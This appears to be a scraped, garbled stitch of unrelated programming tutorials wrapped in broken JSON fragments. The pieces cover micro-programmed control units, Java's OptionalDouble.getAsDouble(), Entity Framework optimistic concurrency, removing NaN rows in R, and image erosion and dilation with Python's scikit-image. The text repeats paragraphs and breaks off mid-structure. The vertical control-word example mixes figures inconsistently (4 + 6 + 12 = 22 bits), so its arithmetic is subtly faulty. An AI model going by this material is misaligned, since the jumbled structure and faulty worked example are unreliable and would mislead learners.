"text": "Prerequisite – Hardwired v/s Micro-programmed Control Unit "
},
{
"code": null,
"e": 611,
"s": 114,
"text": "The control unit (CU) is the engine that runs the entire functions of a computer with the help of control signals in the proper sequence. In the micro-programmed control unit approach, the control signals that are associated with the operations are stored in special memory units. It is convenient to think of sets of control signals that cause specific micro-operations to occur as being “micro-instructions”. The sequences of micro-instructions could be stored in an internal “control” memory. "
},
{
"code": null,
"e": 834,
"s": 611,
"text": "The micro-programmed control unit can be classified into two types based on the type of Control Word stored in the Control Memory, viz., Horizontal micro-programmed control unit and Vertical micro-programmed control unit. "
},
{
"code": null,
"e": 1034,
"s": 834,
"text": "In the Horizontal micro-programmed control unit, the control signals are represented in the decoded binary format, i.e., 1 bit/CS. Here ‘n’ control signals require n bit encoding. On the other hand. "
},
{
"code": null,
"e": 1199,
"s": 1034,
"text": "In a Vertical micro-programmed control unit, the control signals are represented in the encoded binary format. Here ‘n’ control signals require log2n bit encoding. "
},
{
"code": null,
"e": 1457,
"s": 1199,
"text": "Example: Consider a hypothetical Control Unit that supports 4 k words. The Hardware contains 64 control signals and 16 Flags. What is the size of control word used in bits and control memory in a byte using: a) Horizontal Programming b) Vertical programming"
},
{
"code": null,
"e": 1467,
"s": 1457,
"text": "Solution:"
},
{
"code": null,
"e": 1832,
"s": 1467,
"text": "a)For Horizontal \n\n64 bits for 64 signals % 16 bits for flags\nControl Word Size = 64 + 16 = 80 bits\n\nControl Memory = 4 kW = ( (4* 80) / 8 ) = 40 kByte\n\n\nb)For Vertical\n6 bits for 64 signals i.e log264\n4 bits for 16 flags i.e log216\n12 bits for 4K words i.e log2(4*1024)\n\nControl Word Size = 4 + 6 + 12 = 22 bits\n\nControl Memory = 4 kW = ( (4* 22) / 8 ) = 11 kByte"
},
{
"code": null,
"e": 1844,
"s": 1832,
"text": "VaibhavRai3"
},
{
"code": null,
"e": 1855,
"s": 1844,
"text": "MridulGain"
},
{
"code": null,
"e": 1862,
"s": 1855,
"text": "Picked"
},
{
"code": null,
"e": 1886,
"s": 1862,
"text": "Technical Scripter 2018"
},
{
"code": null,
"e": 1923,
"s": 1886,
"text": "Computer Organization & Architecture"
},
{
"code": null,
"e": 1931,
"s": 1923,
"text": "GATE CS"
}
] |
OptionalDouble getAsDouble() method in Java with examples
|
30 Jul, 2019
OptionalDouble help us to create an object which may or may not contain a double value. The getAsDouble() method returns value If a value is present in OptionalDouble object, otherwise throws NoSuchElementException.
Syntax:
public double getAsDouble()
Parameters: This method accepts nothing.
Return value: This method returns the value described by this OptionalDouble.
Exception: This method throws NoSuchElementException if no value is present
Below programs illustrate getAsDouble() method:
Program 1:
// Java program to demonstrate// OptionalDouble.getAsDouble() method import java.util.OptionalDouble; public class GFG { public static void main(String[] args) { // Create an OptionalDouble instance OptionalDouble opDouble = OptionalDouble.of(44356.455); System.out.println("OptionalDouble: " + opDouble.toString()); // Get value in this instance // using getAsDouble() System.out.println("Value in OptionalDouble = " + opDouble.getAsDouble()); }}
OptionalDouble: OptionalDouble[44356.455]
Value in OptionalDouble = 44356.455
Program 2:
// Java program to demonstrate// OptionalDouble.getAsDouble() method import java.util.OptionalDouble; public class GFG { public static void main(String[] args) { try { // Create an OptionalDouble instance OptionalDouble opDouble = OptionalDouble.empty(); System.out.println("OptionalDouble: " + opDouble.toString()); // Get value in this instance // using getAsDouble() System.out.println("Value in OptionalDouble = " + opDouble.getAsDouble()); } catch (Exception e) { System.out.println("Exception: " + e); } }}
OptionalDouble: OptionalDouble.empty
Exception: java.util.NoSuchElementException: No value present
References: https://docs.oracle.com/javase/10/docs/api/java/util/OptionalDouble.html#getAsDouble()
Akanksha_Rai
Java - util package
Java-Functions
Java-OptionalDouble
Java
Java
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n30 Jul, 2019"
},
{
"code": null,
"e": 244,
"s": 28,
"text": "OptionalDouble help us to create an object which may or may not contain a double value. The getAsDouble() method returns value If a value is present in OptionalDouble object, otherwise throws NoSuchElementException."
},
{
"code": null,
"e": 252,
"s": 244,
"text": "Syntax:"
},
{
"code": null,
"e": 281,
"s": 252,
"text": "public double getAsDouble()\n"
},
{
"code": null,
"e": 322,
"s": 281,
"text": "Parameters: This method accepts nothing."
},
{
"code": null,
"e": 400,
"s": 322,
"text": "Return value: This method returns the value described by this OptionalDouble."
},
{
"code": null,
"e": 476,
"s": 400,
"text": "Exception: This method throws NoSuchElementException if no value is present"
},
{
"code": null,
"e": 524,
"s": 476,
"text": "Below programs illustrate getAsDouble() method:"
},
{
"code": null,
"e": 535,
"s": 524,
"text": "Program 1:"
},
{
"code": "// Java program to demonstrate// OptionalDouble.getAsDouble() method import java.util.OptionalDouble; public class GFG { public static void main(String[] args) { // Create an OptionalDouble instance OptionalDouble opDouble = OptionalDouble.of(44356.455); System.out.println(\"OptionalDouble: \" + opDouble.toString()); // Get value in this instance // using getAsDouble() System.out.println(\"Value in OptionalDouble = \" + opDouble.getAsDouble()); }}",
"e": 1107,
"s": 535,
"text": null
},
{
"code": null,
"e": 1186,
"s": 1107,
"text": "OptionalDouble: OptionalDouble[44356.455]\nValue in OptionalDouble = 44356.455\n"
},
{
"code": null,
"e": 1197,
"s": 1186,
"text": "Program 2:"
},
{
"code": "// Java program to demonstrate// OptionalDouble.getAsDouble() method import java.util.OptionalDouble; public class GFG { public static void main(String[] args) { try { // Create an OptionalDouble instance OptionalDouble opDouble = OptionalDouble.empty(); System.out.println(\"OptionalDouble: \" + opDouble.toString()); // Get value in this instance // using getAsDouble() System.out.println(\"Value in OptionalDouble = \" + opDouble.getAsDouble()); } catch (Exception e) { System.out.println(\"Exception: \" + e); } }}",
"e": 1898,
"s": 1197,
"text": null
},
{
"code": null,
"e": 1998,
"s": 1898,
"text": "OptionalDouble: OptionalDouble.empty\nException: java.util.NoSuchElementException: No value present\n"
},
{
"code": null,
"e": 2097,
"s": 1998,
"text": "References: https://docs.oracle.com/javase/10/docs/api/java/util/OptionalDouble.html#getAsDouble()"
},
{
"code": null,
"e": 2110,
"s": 2097,
"text": "Akanksha_Rai"
},
{
"code": null,
"e": 2130,
"s": 2110,
"text": "Java - util package"
},
{
"code": null,
"e": 2145,
"s": 2130,
"text": "Java-Functions"
},
{
"code": null,
"e": 2165,
"s": 2145,
"text": "Java-OptionalDouble"
},
{
"code": null,
"e": 2170,
"s": 2165,
"text": "Java"
},
{
"code": null,
"e": 2175,
"s": 2170,
"text": "Java"
}
] |
Entity Framework - Concurrency
|
Any data access developer faces difficulty while answering the question regarding data concurrency, “What happens if more than one person is editing the same data at the same time?”
The more fortunate among us deal with business rules that say “no problem, last one in wins.”
The more fortunate among us deal with business rules that say “no problem, last one in wins.”
In this case, concurrency is not an issue. More likely, it’s not as simple as that, and there is no silver bullet to solve every scenario at once.
In this case, concurrency is not an issue. More likely, it’s not as simple as that, and there is no silver bullet to solve every scenario at once.
By default, the Entity Framework will take the path of “last one in wins,” meaning that the latest update is applied even if someone else updated the data between the time data was retrieved and the time data was saved.
By default, the Entity Framework will take the path of “last one in wins,” meaning that the latest update is applied even if someone else updated the data between the time data was retrieved and the time data was saved.
Let’s take an example to understand it better. The following example adds a new column VersionNo in Course table.
Go to the designer and right-click on the designer window and select update model from database...
You will see that another column is added in Course Entity.
Right-click on the newly created column VersionNo and select Properties and change the ConcurrencyMode to Fixed as shown in the following image.
With the ConcurrencyMode of Course.VersionNo set to Fixed, anytime a Course is updated, the Update command will look for the Course using its EntityKey and its VersionNo property.
Let’s take a look at a simple scenario. Two users retrieve the same course at the same time and user 1 changes the title of that course to Maths and saves changes before user 2. Later when user 2 changes the title of that course which was retrieved before user 1 save his changes, in that case user 2 will get concurrency exception "User2: Optimistic Concurrency exception occured".
using System;
using System.Data.Entity;
using System.Data.Entity.Infrastructure;
using System.Linq;
namespace DatabaseFirstDemo {
class Program {
static void Main(string[] args) {
Course c1 = null;
Course c2 = null;
//User 1 gets Course
using (var context = new UniContextEntities()) {
context.Configuration.ProxyCreationEnabled = false;
c1 = context.Courses.Where(s ⇒ s.CourseID == 1).Single();
}
//User 2 also get the same Course
using (var context = new UniContextEntities()) {
context.Configuration.ProxyCreationEnabled = false;
c2 = context.Courses.Where(s ⇒ s.CourseID == 1).Single();
}
//User 1 updates Course Title
c1.Title = "Edited from user1";
//User 2 updates Course Title
c2.Title = "Edited from user2";
//User 1 saves changes first
using (var context = new UniContextEntities()) {
try {
context.Entry(c1).State = EntityState.Modified;
context.SaveChanges();
} catch (DbUpdateConcurrencyException ex) {
Console.WriteLine("User1: Optimistic Concurrency exception occurred");
}
}
//User 2 saves changes after User 1.
//User 2 will get concurrency exection
//because CreateOrModifiedDate is different in the database
using (var context = new UniContextEntities()) {
try {
context.Entry(c2).State = EntityState.Modified;
context.SaveChanges();
} catch (DbUpdateConcurrencyException ex) {
Console.WriteLine("User2: Optimistic Concurrency exception occurred");
}
}
}
}
}
19 Lectures
5 hours
Trevoir Williams
33 Lectures
3.5 hours
Nilay Mehta
21 Lectures
2.5 hours
TELCOMA Global
89 Lectures
7.5 hours
Mustafa Radaideh
Print
Add Notes
Bookmark this page
|
[
{
"code": null,
"e": 3214,
"s": 3032,
"text": "Any data access developer faces difficulty while answering the question regarding data concurrency, “What happens if more than one person is editing the same data at the same time?”"
},
{
"code": null,
"e": 3308,
"s": 3214,
"text": "The more fortunate among us deal with business rules that say “no problem, last one in wins.”"
},
{
"code": null,
"e": 3402,
"s": 3308,
"text": "The more fortunate among us deal with business rules that say “no problem, last one in wins.”"
},
{
"code": null,
"e": 3549,
"s": 3402,
"text": "In this case, concurrency is not an issue. More likely, it’s not as simple as that, and there is no silver bullet to solve every scenario at once."
},
{
"code": null,
"e": 3696,
"s": 3549,
"text": "In this case, concurrency is not an issue. More likely, it’s not as simple as that, and there is no silver bullet to solve every scenario at once."
},
{
"code": null,
"e": 3916,
"s": 3696,
"text": "By default, the Entity Framework will take the path of “last one in wins,” meaning that the latest update is applied even if someone else updated the data between the time data was retrieved and the time data was saved."
},
{
"code": null,
"e": 4136,
"s": 3916,
"text": "By default, the Entity Framework will take the path of “last one in wins,” meaning that the latest update is applied even if someone else updated the data between the time data was retrieved and the time data was saved."
},
{
"code": null,
"e": 4250,
"s": 4136,
"text": "Let’s take an example to understand it better. The following example adds a new column VersionNo in Course table."
},
{
"code": null,
"e": 4349,
"s": 4250,
"text": "Go to the designer and right-click on the designer window and select update model from database..."
},
{
"code": null,
"e": 4409,
"s": 4349,
"text": "You will see that another column is added in Course Entity."
},
{
"code": null,
"e": 4554,
"s": 4409,
"text": "Right-click on the newly created column VersionNo and select Properties and change the ConcurrencyMode to Fixed as shown in the following image."
},
{
"code": null,
"e": 4734,
"s": 4554,
"text": "With the ConcurrencyMode of Course.VersionNo set to Fixed, anytime a Course is updated, the Update command will look for the Course using its EntityKey and its VersionNo property."
},
{
"code": null,
"e": 5117,
"s": 4734,
"text": "Let’s take a look at a simple scenario. Two users retrieve the same course at the same time and user 1 changes the title of that course to Maths and saves changes before user 2. Later when user 2 changes the title of that course which was retrieved before user 1 save his changes, in that case user 2 will get concurrency exception \"User2: Optimistic Concurrency exception occured\"."
},
{
"code": null,
"e": 6919,
"s": 5117,
"text": "using System;\nusing System.Data.Entity;\nusing System.Data.Entity.Infrastructure;\nusing System.Linq;\n\nnamespace DatabaseFirstDemo {\n\n class Program {\n\n static void Main(string[] args) {\n\n Course c1 = null;\n Course c2 = null;\n\n //User 1 gets Course\n\n using (var context = new UniContextEntities()) {\n context.Configuration.ProxyCreationEnabled = false;\n c1 = context.Courses.Where(s ⇒ s.CourseID == 1).Single();\n }\n\n //User 2 also get the same Course\n\n using (var context = new UniContextEntities()) {\n context.Configuration.ProxyCreationEnabled = false;\n c2 = context.Courses.Where(s ⇒ s.CourseID == 1).Single();\n }\n\n //User 1 updates Course Title\n c1.Title = \"Edited from user1\";\n\n //User 2 updates Course Title\n c2.Title = \"Edited from user2\";\n\n //User 1 saves changes first\n\n using (var context = new UniContextEntities()) {\n\n try {\n context.Entry(c1).State = EntityState.Modified;\n context.SaveChanges();\n } catch (DbUpdateConcurrencyException ex) {\n Console.WriteLine(\"User1: Optimistic Concurrency exception occurred\");\n }\n }\n\n //User 2 saves changes after User 1.\n //User 2 will get concurrency exection\n //because CreateOrModifiedDate is different in the database\n\n using (var context = new UniContextEntities()) {\n\n try {\n context.Entry(c2).State = EntityState.Modified;\n context.SaveChanges();\n } catch (DbUpdateConcurrencyException ex) {\n Console.WriteLine(\"User2: Optimistic Concurrency exception occurred\");\n }\n }\n }\n }\n}"
},
{
"code": null,
"e": 6952,
"s": 6919,
"text": "\n 19 Lectures \n 5 hours \n"
},
{
"code": null,
"e": 6970,
"s": 6952,
"text": " Trevoir Williams"
},
{
"code": null,
"e": 7005,
"s": 6970,
"text": "\n 33 Lectures \n 3.5 hours \n"
},
{
"code": null,
"e": 7018,
"s": 7005,
"text": " Nilay Mehta"
},
{
"code": null,
"e": 7053,
"s": 7018,
"text": "\n 21 Lectures \n 2.5 hours \n"
},
{
"code": null,
"e": 7069,
"s": 7053,
"text": " TELCOMA Global"
},
{
"code": null,
"e": 7104,
"s": 7069,
"text": "\n 89 Lectures \n 7.5 hours \n"
},
{
"code": null,
"e": 7122,
"s": 7104,
"text": " Mustafa Radaideh"
},
{
"code": null,
"e": 7129,
"s": 7122,
"text": " Print"
},
{
"code": null,
"e": 7140,
"s": 7129,
"text": " Add Notes"
}
] |
How to remove rows from data frame in R that contains NaN?
|
The NaN values are referred to as the Not A Number in R. It is also called undefined or unrepresentable but it belongs to numeric data type for the values that are not numeric, especially in case of floating-point arithmetic. To remove rows from data frame in R that contains NaN, we can use the function na.omit.
Live Demo
Consider the below data frame −
x1<−sample(c(NaN,5,10),20,replace=TRUE)
x2<−sample(c(NaN,0,1),20,replace=TRUE)
df1<−data.frame(x1,x2)
df1
x1 x2
1 NaN NaN
2 10 0
3 NaN NaN
4 NaN NaN
5 NaN NaN
6 NaN NaN
7 5 1
8 5 1
9 5 NaN
10 10 NaN
11 5 NaN
12 NaN NaN
13 NaN NaN
14 NaN NaN
15 10 1
16 10 0
17 NaN NaN
18 NaN 1
19 NaN NaN
20 5 1
Removing rows with NaN from df1 −
df1<−na.omit(df1)
df1
x1 x2
2 10 0
7 5 1
8 5 1
15 10 1
16 10 0
20 5 1
Live Demo
y1<−sample(c(NaN,rnorm(5)),20,replace=TRUE)
y2<−sample(c(NaN,rnorm(2)),20,replace=TRUE)
df2<−data.frame(y1,y2)
df2
y1 y2
1 0.71997269 NaN
2 0.31324492 NaN
3 0.71997269 −0.1903841
4 1.23101131 −0.1903841
5 0.09512564 −0.1903841
6 0.71997269 0.3998648
7 −0.14221014 −0.1903841
8 0.09512564 NaN
9 NaN NaN
10 1.23101131 0.3998648
11 −0.14221014 0.3998648
12 1.23101131 NaN
13 NaN 0.3998648
14 0.71997269 NaN
15 0.09512564 NaN
16 0.31324492 NaN
17 NaN NaN
18 0.09512564 0.3998648
19 1.23101131 0.3998648
20 0.71997269 −0.1903841
Removing rows with NaN from df2 −
df2<−na.omit(df2)
df2
y1 y2
3 0.71997269 −0.1903841
4 1.23101131 −0.1903841
5 0.09512564 −0.1903841
6 0.71997269 0.3998648
7 −0.14221014 −0.1903841
10 1.23101131 0.3998648
11 −0.14221014 0.3998648
18 0.09512564 0.3998648
19 1.23101131 0.3998648
20 0.71997269 −0.1903841
|
[
{
"code": null,
"e": 1376,
"s": 1062,
"text": "The NaN values are referred to as the Not A Number in R. It is also called undefined or unrepresentable but it belongs to numeric data type for the values that are not numeric, especially in case of floating-point arithmetic. To remove rows from data frame in R that contains NaN, we can use the function na.omit."
},
{
"code": null,
"e": 1387,
"s": 1376,
"text": " Live Demo"
},
{
"code": null,
"e": 1419,
"s": 1387,
"text": "Consider the below data frame −"
},
{
"code": null,
"e": 1525,
"s": 1419,
"text": "x1<−sample(c(NaN,5,10),20,replace=TRUE)\nx2<−sample(c(NaN,0,1),20,replace=TRUE)\ndf1<−data.frame(x1,x2)\ndf1"
},
{
"code": null,
"e": 1714,
"s": 1525,
"text": "x1 x2\n1 NaN NaN\n2 10 0\n3 NaN NaN\n4 NaN NaN\n5 NaN NaN\n6 NaN NaN\n7 5 1\n8 5 1\n9 5 NaN\n10 10 NaN\n11 5 NaN\n12 NaN NaN\n13 NaN NaN\n14 NaN NaN\n15 10 1\n16 10 0\n17 NaN NaN\n18 NaN 1\n19 NaN NaN\n20 5 1"
},
{
"code": null,
"e": 1748,
"s": 1714,
"text": "Removing rows with NaN from df1 −"
},
{
"code": null,
"e": 1770,
"s": 1748,
"text": "df1<−na.omit(df1)\ndf1"
},
{
"code": null,
"e": 1818,
"s": 1770,
"text": "x1 x2\n2 10 0\n7 5 1\n8 5 1\n15 10 1\n16 10 0\n20 5 1"
},
{
"code": null,
"e": 1829,
"s": 1818,
"text": " Live Demo"
},
{
"code": null,
"e": 1944,
"s": 1829,
"text": "y1<−sample(c(NaN,rnorm(5)),20,replace=TRUE)\ny2<−sample(c(NaN,rnorm(2)),20,replace=TRUE)\ndf2<−data.frame(y1,y2)\ndf2"
},
{
"code": null,
"e": 2353,
"s": 1944,
"text": "y1 y2\n1 0.71997269 NaN\n2 0.31324492 NaN\n3 0.71997269 −0.1903841\n4 1.23101131 −0.1903841\n5 0.09512564 −0.1903841\n6 0.71997269 0.3998648\n7 −0.14221014 −0.1903841\n8 0.09512564 NaN\n9 NaN NaN\n10 1.23101131 0.3998648\n11 −0.14221014 0.3998648\n12 1.23101131 NaN\n13 NaN 0.3998648\n14 0.71997269 NaN\n15 0.09512564 NaN\n16 0.31324492 NaN\n17 NaN NaN\n18 0.09512564 0.3998648\n19 1.23101131 0.3998648\n20 0.71997269 −0.1903841"
},
{
"code": null,
"e": 2387,
"s": 2353,
"text": "Removing rows with NaN from df2 −"
},
{
"code": null,
"e": 2409,
"s": 2387,
"text": "df2<−na.omit(df2)\ndf2"
},
{
"code": null,
"e": 2657,
"s": 2409,
"text": "y1 y2\n3 0.71997269 −0.1903841\n4 1.23101131 −0.1903841\n5 0.09512564 −0.1903841\n6 0.71997269 0.3998648\n7 −0.14221014 −0.1903841\n10 1.23101131 0.3998648\n11 −0.14221014 0.3998648\n18 0.09512564 0.3998648\n19 1.23101131 0.3998648\n20 0.71997269 −0.1903841"
}
] |
Introduction to Image Processing with Python — Dilation and Erosion for Beginners | by Tonichi Edeza | Towards Data Science
|
In a previous article, we briefly discussed the idea of adjusting an image with the use of kernels. For this article, we shall go over the finer points of this concept. In this article we shall stick to artificially generated images. Though this is a step away from how I usually discuss a topic, I believe that for this particular lesson it would be preferable. Applying erosion and dilation to images of the real world can make it difficult to perceive the very subtle changes and understand what is actually going on.
Let’s get started!
Again, first we must import the required Python Libraries.
import numpy as npimport matplotlib.pyplot as pltfrom skimage.io import imread, imshowfrom skimage.draw import circlefrom skimage.morphology import erosion, dilation
First let us create a shape that is easy to work with. A circle perhaps.
circ_image = np.zeros((100, 100))circ_image[circle(50, 50, 25)] = 1imshow(circ_image);
Great! Now let us define a kernel to apply to it.
cross = np.array([[0,1,0], [1,1,1], [0,1,0]])imshow(cross, cmap = 'gray');
Now, one of the first things we shall do is to apply the erosion function to the circle.
eroded_circle = erosion(circ_image, cross)imshow(eroded_circle);
So what’s new? The image looks practically the same. To truly see the difference we must view the images side by side.
linecolor = 'red'fig, ax = plt.subplots(1, 2, figsize=(12, 5))ax[0].imshow(circ_image, cmap = 'gray');ax[0].set_title('Original', fontsize = 19)ax[0].axvline(x = 25, color = linecolor)ax[0].axvline(x = 75, color = linecolor)ax[0].axhline(y = 25, color = linecolor)ax[0].axhline(y = 75, color = linecolor)ax[1].imshow(eroded_circle, cmap = 'gray');ax[1].set_title('Eroded', fontsize = 19)ax[1].axvline(x = 25, color = linecolor)ax[1].axvline(x = 75, color = linecolor)ax[1].axhline(y = 25, color = linecolor)ax[1].axhline(y = 75, color = linecolor)fig.tight_layout()
We see that the eroded circle has slightly shrunk. This is what it means to erode an image. If we were to iterate over the erosion function, its effect becomes quite clear.
def multi_erosion(image, kernel, iterations): for i in range(iterations): image = erosion(image, kernel) return imageites = [2,4,6,8,10,12,14,16,18,20]fig, ax = plt.subplots(2, 5, figsize=(17, 5))for n, ax in enumerate(ax.flatten()): ax.set_title(f'Iterations : {ites[n]}', fontsize = 16) new_circle = multi_erosion(circ_image, cross, ites[n]) ax.imshow(new_circle, cmap = 'gray'); ax.axis('off')fig.tight_layout()
Excellent, the figure above clearly shows how the image is actually being eroded. Now let us try changing the kernel, what if instead of a cross kernel we use a horizontal line as well as a vertical line kernel.
h_line = np.array([[0,0,0], [1,1,1], [0,0,0]])v_line = np.array([[0,1,0], [0,1,0], [0,1,0]])fig, ax = plt.subplots(1, 2, figsize=(15, 5))ax[0].imshow(h_line, cmap='gray');ax[1].imshow(v_line, cmap='gray');fig.tight_layout()
ites = [2,4,6,8,10,12,14,16,18,20]fig, ax = plt.subplots(2, 5, figsize=(17, 5))for n, ax in enumerate(ax.flatten()): ax.set_title(f'Horizontal Iterations : {ites[n]}', fontsize = 12) new_circle = multi_erosion(circ_image, h_line, ites[n]) ax.imshow(new_circle, cmap = 'gray'); ax.axis('off')fig.tight_layout()fig, ax = plt.subplots(2, 5, figsize=(17, 5))for n, ax in enumerate(ax.flatten()): ax.set_title(f'Vertical Iterationss : {ites[n]}', fontsize = 12) new_circle = multi_erosion(circ_image, v_line, ites[n]) ax.imshow(new_circle, cmap = 'gray'); ax.axis('off')fig.tight_layout()
As we can see, the horizontal and vertical erosions affected the image in very different ways. Using the horizontal kernel gives us a slimmer circle, while using the vertical kernel gives us a flatter circle. For some of you this may seem odd.
“I am using a vertical kernel, why is my circle getting flatter?”. You may ask.
Remember that we are eroding the image. It is looking for vertical and horizontal lines and slowly chipping away at them. This point will be made clearer when we do image dilation.
The below function will allow you to set the image you want to dilate, the dilation kernel, and the number of iterations.
def multi_dilation(image, kernel, iterations): for i in range(iterations): image = dilation(image, kernel) return image
To illustrate this function, let us once again dilate the circle and see the difference.
dilated_circle = multi_dilation(circ_image, cross, 1)linecolor = 'red'fig, ax = plt.subplots(1, 2, figsize=(12, 5))ax[0].imshow(circ_image, cmap = 'gray');ax[0].set_title('Original', fontsize = 19)ax[0].axvline(x = 25, color = linecolor)ax[0].axvline(x = 75, color = linecolor)ax[0].axhline(y = 25, color = linecolor)ax[0].axhline(y = 75, color = linecolor)ax[1].imshow(dilated_circle, cmap = 'gray');ax[1].set_title('Dilated', fontsize = 19)ax[1].axvline(x = 25, color = linecolor)ax[1].axvline(x = 75, color = linecolor)ax[1].axhline(y = 25, color = linecolor)ax[1].axhline(y = 75, color = linecolor)fig.tight_layout()
We can clearly see that the circle now crosses over the red line, a clear indication that it has grown. Let us now run an iteration of horizontal and vertical dilations.
ites = [2,4,6,8,10,12,14,16,18,20]fig, ax = plt.subplots(2, 5, figsize=(17, 5))for n, ax in enumerate(ax.flatten()): ax.set_title(f'Horizontal Iterations : {ites[n]}', fontsize = 12) new_circle = multi_dilation(circ_image, h_line, ites[n]) ax.imshow(new_circle, cmap = 'gray'); ax.axis('off')fig.tight_layout()fig, ax = plt.subplots(2, 5, figsize=(17, 5))for n, ax in enumerate(ax.flatten()): ax.set_title(f'Vertical Iterationss : {ites[n]}', fontsize = 12) new_circle = multi_dilation(circ_image, v_line, ites[n]) ax.imshow(new_circle, cmap = 'gray'); ax.axis('off')fig.tight_layout()
We now see very clearly that the horizontal dilation increases the images width while the vertical dilation increases its height.
“But how can you apply this?”. You may ask. The key is in understanding how the kernel work on a fundamental level. To better appreciate this let us look at a relatively complex image.
complex_image = imread('complex_image.png')imshow(complex_image);
In the image above we have a mixture of horizontal lines, vertical lines, and circles. We can view each of these shapes in isolation by using the dilation and erosion functions.
To isolate for circles we can first erode the lines, we can confidently do this as the circles are much more rotund than the lines and can therefore can “survive” more erosion iterations. I arrived at the rest by playing around with the iterations. One thing to remember however is to dilate your image at the end. I dilated the image by the same kernels and iterations as I eroded them with. That should return the circle to approximately the same size. I know that technically I could have nested all these functions into one line, but for pedagogical reasons I chose to break them up into multiple lines.
step_1 = multi_erosion(complex_image, h_line,3)step_2 = multi_erosion(step_1, v_line,3)step_3 = multi_dilation(step_2, h_line,3)step_4 = multi_dilation(step_3, v_line,3)steps = [step_1, step_2, step_3, step_4]names = ['Step 1', 'Step 2', 'Step 3', 'Step 4']fig, ax = plt.subplots(2, 2, figsize=(10, 10))for n, ax in enumerate(ax.flatten()): ax.set_title(f'{names[n]}', fontsize = 22) ax.imshow(steps[n], cmap = 'gray'); ax.axis('off')fig.tight_layout()
Likewise, the below codes will filter for the horizontal lines.
step_1 = multi_erosion(complex_image, cross, 20)step_2 = multi_dilation(step_1, h_line, 20)step_3 = multi_dilation(step_2, v_line,2)steps = [step_1, step_2, step_3]names = ['Step 1', 'Step 2', 'Step 3']fig, ax = plt.subplots(1, 3, figsize=(10, 10))for n, ax in enumerate(ax.flatten()): ax.set_title(f'{names[n]}', fontsize = 22) ax.imshow(steps[n], cmap = 'gray'); ax.axis('off')fig.tight_layout()
We see that the number of steps taken and number of iterations depend entirely the image and what we are trying to filter. To filter for the the vertical lines, I found it necessary to create a new kernel.
long_v_line = np.array([[0,1,0], [0,1,0], [0,1,0], [0,1,0], [0,1,0]])step_1 = multi_erosion(complex_image, long_v_line, 10)step_2 = multi_dilation(step_1 ,long_v_line, 10)steps = [step_1, step_2]names = ['Step 1', 'Step 2']fig, ax = plt.subplots(1, 2, figsize=(10, 10))for n, ax in enumerate(ax.flatten()): ax.set_title(f'{names[n]}', fontsize = 22) ax.imshow(steps[n], cmap = 'gray'); ax.axis('off')fig.tight_layout()
Notice how this filtering only took two iterations. This was because I defined the kernel to have features that only the vertical lines had. This insight is crucial. Do not constrain yourself to the kernels you find online or in your textbook. Some images can be easily filtered if you define specific kernels for them.
In Conclusion
Kernal erosion and dilation are fundamental concepts to understand in the world of Image Processing. They may even be one of the first lessons on any image processing module. Understanding them intuitively will be key to your success in this field later on. This article barely scratch the surface of the many different nuances of erosion and dilation (I only had one example of a non-3x3 matrix!), but I hope it gave you enough to at least continue studying the topic on your own.
|
[
{
"code": null,
"e": 693,
"s": 172,
"text": "In a previous article, we briefly discussed the idea of adjusting an image with the use of kernels. For this article, we shall go over the finer points of this concept. In this article we shall stick to artificially generated images. Though this is a step away from how I usually discuss a topic, I believe that for this particular lesson it would be preferable. Applying erosion and dilation to images of the real world can make it difficult to perceive the very subtle changes and understand what is actually going on."
},
{
"code": null,
"e": 712,
"s": 693,
"text": "Let’s get started!"
},
{
"code": null,
"e": 771,
"s": 712,
"text": "Again, first we must import the required Python Libraries."
},
{
"code": null,
"e": 937,
"s": 771,
"text": "import numpy as npimport matplotlib.pyplot as pltfrom skimage.io import imread, imshowfrom skimage.draw import circlefrom skimage.morphology import erosion, dilation"
},
{
"code": null,
"e": 1010,
"s": 937,
"text": "First let us create a shape that is easy to work with. A circle perhaps."
},
{
"code": null,
"e": 1097,
"s": 1010,
"text": "circ_image = np.zeros((100, 100))circ_image[circle(50, 50, 25)] = 1imshow(circ_image);"
},
{
"code": null,
"e": 1147,
"s": 1097,
"text": "Great! Now let us define a kernel to apply to it."
},
{
"code": null,
"e": 1256,
"s": 1147,
"text": "cross = np.array([[0,1,0], [1,1,1], [0,1,0]])imshow(cross, cmap = 'gray');"
},
{
"code": null,
"e": 1345,
"s": 1256,
"text": "Now, one of the first things we shall do is to apply the erosion function to the circle."
},
{
"code": null,
"e": 1410,
"s": 1345,
"text": "eroded_circle = erosion(circ_image, cross)imshow(eroded_circle);"
},
{
"code": null,
"e": 1529,
"s": 1410,
"text": "So what’s new? The image looks practically the same. To truly see the difference we must view the images side by side."
},
{
"code": null,
"e": 2095,
"s": 1529,
"text": "linecolor = 'red'fig, ax = plt.subplots(1, 2, figsize=(12, 5))ax[0].imshow(circ_image, cmap = 'gray');ax[0].set_title('Original', fontsize = 19)ax[0].axvline(x = 25, color = linecolor)ax[0].axvline(x = 75, color = linecolor)ax[0].axhline(y = 25, color = linecolor)ax[0].axhline(y = 75, color = linecolor)ax[1].imshow(eroded_circle, cmap = 'gray');ax[1].set_title('Eroded', fontsize = 19)ax[1].axvline(x = 25, color = linecolor)ax[1].axvline(x = 75, color = linecolor)ax[1].axhline(y = 25, color = linecolor)ax[1].axhline(y = 75, color = linecolor)fig.tight_layout()"
},
{
"code": null,
"e": 2268,
"s": 2095,
"text": "We see that the eroded circle has slightly shrunk. This is what it means to erode an image. If we were to iterate over the erosion function, its effect becomes quite clear."
},
{
"code": null,
"e": 2708,
"s": 2268,
"text": "def multi_erosion(image, kernel, iterations): for i in range(iterations): image = erosion(image, kernel) return imageites = [2,4,6,8,10,12,14,16,18,20]fig, ax = plt.subplots(2, 5, figsize=(17, 5))for n, ax in enumerate(ax.flatten()): ax.set_title(f'Iterations : {ites[n]}', fontsize = 16) new_circle = multi_erosion(circ_image, cross, ites[n]) ax.imshow(new_circle, cmap = 'gray'); ax.axis('off')fig.tight_layout()"
},
{
"code": null,
"e": 2920,
"s": 2708,
"text": "Excellent, the figure above clearly shows how the image is actually being eroded. Now let us try changing the kernel, what if instead of a cross kernel we use a horizontal line as well as a vertical line kernel."
},
{
"code": null,
"e": 3212,
"s": 2920,
"text": "h_line = np.array([[0,0,0], [1,1,1], [0,0,0]])v_line = np.array([[0,1,0], [0,1,0], [0,1,0]])fig, ax = plt.subplots(1, 2, figsize=(15, 5))ax[0].imshow(h_line, cmap='gray');ax[1].imshow(v_line, cmap='gray');fig.tight_layout()"
},
{
"code": null,
"e": 3820,
"s": 3212,
